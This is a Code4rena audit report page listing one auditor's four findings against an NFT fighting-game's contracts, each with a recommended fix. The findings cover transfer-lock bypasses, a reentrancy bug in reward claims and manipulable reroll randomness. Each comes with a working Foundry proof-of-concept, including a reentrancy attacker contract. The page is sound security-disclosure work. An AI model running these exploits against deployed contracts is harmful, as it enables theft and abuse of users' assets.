Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 91/283
Findings: 4
Award: $64.53
π Selected for report: 0
π Solo Findings: 0
π Selected for report: CodeWasp
Also found by: 0x13, 0xAlix2, 0xAsen, 0xCiphky, 0xE1, 0xLogos, 0xaghas, 0xlemon, 0xlyov, 0xvj, ADM, Aamir, BARW, Bauchibred, DMoore, DanielArmstrong, Draiakoo, Fulum, GhK3Ndf, Josh4324, Kalogerone, KmanOfficial, Krace, KupiaSec, Limbooo, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Tendency, _eperezok, adam-idarrha, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, c0pp3rscr3w3r, cartlex_, cats, d3e4, deadrxsezzz, denzi_, devblixt, dimulski, erosjohn, evmboi32, fnanni, grearlake, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, juancito, klau5, korok, ktg, ladboy233, matejdb, merlinboii, novamanbg, nuthan2x, oualidpro, peanuts, petro_1912, pkqs90, pynschon, radev_sw, rouhsamad, sashik_eth, shaka, sobieski, soliditywala, stackachu, tallo, thank_you, ubl4nk, vnavascues, web3pwn, xchen1130, zhaojohnson
0.1044 USDC - $0.10
Important protocl invariant violated. This causes battle points accounting issues for mappings that use fighter owner, for example here or here underflow is possible.
Contract overrides transferFrom
andsafeTransferFrom(address, address, uint)
function and adds check that reverts execution if NFT staked. But safeTransferFrom(address, address, uint, bytes)
is not overriden and hence can be used to freely transfer fighter.
// FighterFarmTest.t.sol function test_poc3() public { address alice = makeAddr("alice"); address bob = makeAddr("bob"); // mint fighter with index 0 to alice _mintFromMergingPool(alice); // lock staked fighter _fighterFarmContract.addStaker(address(this)); _fighterFarmContract.updateFighterStaking(0, true); vm.startPrank(alice); // transferFrom and safeTransferFrom are correctly not working vm.expectRevert(); _fighterFarmContract.transferFrom(alice, bob, 0); vm.expectRevert(); _fighterFarmContract.safeTransferFrom(alice, bob, 0); // but safeTransferFrom with custom data still works _fighterFarmContract.safeTransferFrom(alice, bob, 0, ""); assertEq(_fighterFarmContract.ownerOf(0), bob); }
foundry, manual review
It's recommended to override safeTransferFrom(address, address, uint, bytes)
in the same way.
Token-Transfer
#0 - c4-pre-sort
2024-02-23T05:35:08Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-23T05:35:16Z
raymondfam marked the issue as duplicate of #739
#2 - c4-judge
2024-03-11T02:49:38Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Aamir
Also found by: 0rpse, 0x11singh99, 0x13, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xE1, 0xKowalski, 0xLogos, 0xWallSecurity, 0xaghas, 0xbranded, 0xlemon, 0xlyov, 0xpoor4ever, 0xprinc, 0xvj, ADM, Aymen0909, BARW, Bauchibred, Breeje, CodeWasp, DMoore, DeFiHackLabs, Draiakoo, Fulum, GhK3Ndf, Greed, Jorgect, Josh4324, Kalogerone, KmanOfficial, Krace, Limbooo, McToady, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Ryonen, SovaSlava, SpicyMeatball, Tendency, Timenov, ZanyBonzy, _eperezok, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, cats, csanuragjain, deadrxsezzz, denzi_, devblixt, dimulski, djxploit, erosjohn, evmboi32, fnanni, grearlake, haxatron, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, josephdara, juancito, kiqo, klau5, korok, krikolkk, ktg, kutugu, ladboy233, lil_eth, m4ttm, matejdb, merlinboii, n0kto, ni8mare, novamanbg, nuthan2x, oualidpro, pa6kuda, peter, petro_1912, pkqs90, pynschon, sandy, sashik_eth, shaflow2, shaka, sobieski, soliditywala, solmaxis69, stackachu, tallo, thank_you, tpiliposian, ubl4nk, visualbits, vnavascues, web3pwn, xchen1130, zhaojohnson
0.0037 USDC - $0.00
Non-transferable Game Items can be transferred. This breaks core functionality. For example, it makes sense to set dailyAllowance > 0
and transferable = false
otherwise allowance can be abused by using multiple accounts and then transferred to one. But with this vulnerability allowance abuse is still possible.
To enforce transferable
rule, safeTransferFrom
is overriden, but not safeBatchTransferFrom
which can be used to bypass rule.
// GameItemsTest.t.sol function test_poc2() public { address alice = makeAddr("alice"); address bob = makeAddr("bob"); // disable transferability _gameItemsContract.adjustTransferability(0, false); // mint game item to alice _fundUserWith4kNeuronByTreasury(alice); vm.startPrank(alice); _gameItemsContract.mint(0, 1); // safeTransferFrom correctly reverting vm.expectRevert(); _gameItemsContract.safeTransferFrom(alice, bob, 0, 1, ""); // but safeBatchTransferFrom still works uint[] memory ids = new uint[](1); ids[0] = 0; uint[] memory amounts = new uint[](1); amounts[0] = 1; _gameItemsContract.safeBatchTransferFrom(alice, bob, ids, amounts, ""); assertEq(_gameItemsContract.balanceOf(bob, 0), 1); assertEq(_gameItemsContract.balanceOf(alice, 0), 0); }
foundry, manual review
It's recommended to override safeBatchTransferFrom
in the same way.
Token-Transfer
#0 - c4-pre-sort
2024-02-22T04:17:03Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T04:17:09Z
raymondfam marked the issue as duplicate of #18
#2 - c4-pre-sort
2024-02-26T00:29:06Z
raymondfam marked the issue as duplicate of #575
#3 - c4-judge
2024-03-05T04:56:34Z
HickupHH3 marked the issue as satisfactory
π Selected for report: DarkTower
Also found by: 0brxce, 0xBinChook, 0xCiphky, 0xDetermination, 0xLogos, Aymen0909, BARW, BoRonGod, Kow, Krace, MrPotatoMagic, PedroZurdo, Tricko, Zac, ZanyBonzy, alexxander, bhilare_, djxploit, evmboi32, grearlake, haxatron, immeas, jnforja, ke1caM, klau5, rouhsamad, sashik_eth, sl1, solmaxis69, ubl4nk, web3pwn, zxriptor
64.3894 USDC - $64.39
Any user can claim more fighters than he is eligible to if he wins at least 2 rounds in MergingPool.
When a user is claiming rewards in MergingPool, function iterates over all rounds not yet claimed by user and searches for user owned fighter amoung the winners. For each such match, new fighter NFT is minted.
for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { numRoundsClaimed[msg.sender] += 1; winnersLength = winnerAddresses[currentRound].length; for (uint32 j = 0; j < winnersLength; j++) { if (msg.sender == winnerAddresses[currentRound][j]) { _fighterFarmInstance.mintFromMergingPool( msg.sender, modelURIs[claimIndex], modelTypes[claimIndex], customAttributes[claimIndex] ); claimIndex += 1; } } }
FighterFarm#mintFromMergingPool
calls to _createNewFighter
internal function which at the end mints NFT to user with callback if receiver is contract using _safeMint
.
Let's now assume that the attacker has 1 winning NFT in numRoundsClaimed[msg.sender]
and 1 in numRoundsClaimed[msg.sender] + 1
. Then attacker can reenter claimRewards
in the callback after minting first NFT for numRoundsClaimed[msg.sender]
round. Notice that numRoundsClaimed[msg.sender]
increased by one before minting in the loop. But since the attacker is eligible for NFT in numRoundsClaimed[msg.sender] + 1
, he claims a second FNT and ends the callback. Execution flow returns back to cycle in claimRewards
and nothing stops it from executing mint for attacker in next round as if there was no callback. Thus attacker receives 3 NFT instead of 2.
Note that numRoundsClaimed
is also increased 3 times for attacker so he can't claim in the next round.
Here's the coded PoC for described scenario
contract MergingPoolAttacker { MergingPool pool; string[] strings; uint256[2][] attrs; constructor(MergingPool _pool) { pool = _pool; strings.push(); strings.push(); attrs.push(); attrs.push(); } function onERC721Received( address, address, uint256, bytes calldata ) external returns (bytes4) { pool.claimRewards(strings, strings, attrs); return IERC721Receiver.onERC721Received.selector; } function attack() external { pool.claimRewards(strings, strings, attrs); } } // In the MergingPoolTest.t.sol function test_poc1() public { MergingPoolAttacker attacker = new MergingPoolAttacker(_mergingPoolContract); _mintFromMergingPool(address(attacker)); _mintFromMergingPool(address(attacker)); _mergingPoolContract.updateWinnersPerPeriod(1); uint256[] memory _winners = new uint256[](1); _winners[0] = 0; _mergingPoolContract.pickWinner(_winners); _winners[0] = 1; _mergingPoolContract.pickWinner(_winners); attacker.attack(); assertEq(_fighterFarmContract.balanceOf(address(attacker)), 5); assertEq(_mergingPoolContract.numRoundsClaimed(address(attacker)), 3); }
Obvious solution would be to use ReentrancyGuard from openzeppelin.
But I want to suggest a more elegant solution - instead of incrimenting numRoundsClaimed
on each iteration, move it before the loop and set it right away to final value.
+ numRoundsClaimed[msg.sender] = uint32(roundId); for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { - numRoundsClaimed[msg.sender] += 1;
It will prevent reentrancy and also save additional gas.
Reentrancy
#0 - c4-pre-sort
2024-02-22T08:53:48Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T08:53:55Z
raymondfam marked the issue as duplicate of #37
#2 - c4-judge
2024-03-07T02:43:38Z
HickupHH3 marked the issue as satisfactory
π Selected for report: klau5
Also found by: 0rpse, 0xBinChook, 0xDetermination, 0xGreyWolf, 0xLogos, 0xWallSecurity, 0xaghas, 0xgrbr, 0xkaju, 0xlyov, AlexCzm, BARW, Blank_Space, BoRonGod, Daniel526, DanielArmstrong, Draiakoo, FloatingPragma, Giorgio, Greed, Jorgect, Matue, McToady, MidgarAudits, Nyxaris, PUSH0, PedroZurdo, Pelz, PoeAudits, Silvermist, SpicyMeatball, Tekken, Tricko, Tumelo_Crypto, VAD37, WoolCentaur, Zac, alexzoid, andywer, aslanbek, bgsmallerbear, cats, d3e4, desaperh, dimulski, dutra, erosjohn, evmboi32, favelanky, fnanni, forkforkdog, gesha17, givn, grearlake, haxatron, honey-k12, iamandreiski, immeas, juancito, kaveyjoe, ke1caM, kiqo, klau5, korok, lil_eth, lsaudit, n0kto, ni8mare, niser93, pa6kuda, peanuts, peter, shaka, sl1, soliditywala, solmaxis69, t0x1c, tallo, thank_you, tpiliposian, visualbits, vnavascues, web3pwn, yotov721
0.0352 USDC - $0.04
Fighter owner can abuse reroll to get desired stats.
In reRoll new pseudo random dna calculated as follows.
uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
Fighter owner can easily predict outcome by doing the same calculation. It not only can be predicted, but also manipulated since msg.sender
included in the hash. Attacker can bruteforce desired stats by creating a lot of EOAs and placing them instead of msg.sender
. Once EOA that produces desired outcome found, attacker can transfer Fighter to it and execute reRoll from it.
// FighterFarmTest.t.sol // forge test --mt poc4 -vvv --fuzz-runs 100000 function test_poc4(address bruteforce) public { vm.assume(bruteforce.code.length == 0); _mintFromMergingPool(bruteforce); _fundUserWith4kNeuronByTreasury(bruteforce); _neuronContract.addSpender(address(_fighterFarmContract)); vm.prank(bruteforce); _fighterFarmContract.reRoll(0, 0); (,,uint weight,,,,) = _fighterFarmContract.getAllFighterInfo(0); // reroll from 0xC3C4A80d0355823e4B94Db11bFA7B00a86044A4D // results in weight = 69 (test fails if desired address found) // same can be done for other attributes assertNotEq(weight, 69); }
foundry, manual review
It's recommended to exclude msg.sender
from hash. Thus the outcome will be impossible to manipulate.
Other
#0 - c4-pre-sort
2024-02-24T01:47:35Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-24T01:47:50Z
raymondfam marked the issue as duplicate of #53
#2 - c4-judge
2024-03-06T03:51:13Z
HickupHH3 marked the issue as satisfactory
#3 - c4-judge
2024-03-15T02:10:54Z
HickupHH3 changed the severity to 2 (Med Risk)
#4 - c4-judge
2024-03-22T04:21:18Z
HickupHH3 marked the issue as duplicate of #376